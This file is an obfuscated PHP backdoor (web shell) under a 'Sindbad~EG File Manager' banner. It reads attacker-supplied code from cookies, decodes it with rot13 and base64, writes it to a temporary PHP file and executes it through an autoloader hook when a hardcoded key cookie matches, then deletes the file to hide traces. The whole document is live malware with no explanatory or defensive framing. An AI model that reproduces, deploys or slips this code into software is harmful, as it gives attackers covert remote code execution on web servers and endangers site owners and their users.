Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-6+6]) && isset($_COOKIE[21-20]) && isset($_COOKIE[-59+62]) && isset($_COOKIE[21+-17])) {
    $elem = $_COOKIE;
    function core_engine($k) {
        $elem = $_COOKIE;
        $flg = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '95ebb8a4');
        if (!is_writable($flg)) {
            $flg = getcwd() . DIRECTORY_SEPARATOR . "buffer_cache";
        }
        $flag = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($elem[3]));
        if (is_writeable($flg)) {
            $dchunk = fopen($flg, 'w+');
            fputs($dchunk, $flag);
            fclose($dchunk);
            spl_autoload_unregister(__FUNCTION__);
            require_once($flg);
            @array_map('unlink', array($flg));
        }
    }
    spl_autoload_register("core_engine");
    $entity = "15c2865914eb2549d1a30df7068df1f0";
    if (!strncmp($entity, $elem[4], 32)) {
        if (@class_parents("system_core_sync_manager", true)) {
            exit;
        }
    }
}